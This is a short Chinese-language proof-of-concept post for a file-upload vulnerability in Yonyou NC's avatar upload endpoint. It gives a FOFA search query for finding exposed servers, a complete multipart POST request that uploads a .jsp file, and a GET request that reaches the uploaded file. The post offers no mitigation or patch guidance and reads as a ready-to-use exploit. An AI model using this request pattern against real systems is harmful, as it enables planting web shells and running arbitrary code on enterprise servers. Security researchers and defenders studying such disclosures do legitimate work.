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用友NC-avatar接口存在文件上传漏洞

用友NC-avatar接口存在文件上传漏洞​

fofa​

body="/Client/Uclient/UClient.exe"

poc​

POST /uapim/upload/avatar?usercode=1&fileType=jsp HTTP/1.1
Host: 192.168.63.129:8088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEXmnamw5gVZG9KAQ
User-Agent: Mozilla/5.0 

------WebKitFormBoundaryEXmnamw5gVZG9KAQ
Content-Disposition: form-data; name="file"; filename="111.jsp"
Content-Type: application/octet-stream

3999
------WebKitFormBoundaryEXmnamw5gVZG9KAQ--

image

文件上传路径

image

GET /uapim/static/pages/photo/1/1.1713358789182.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate, br

image

http://192.168.63.129:8088/uapim/static/pages/photo/1/1.1713358789182.jsp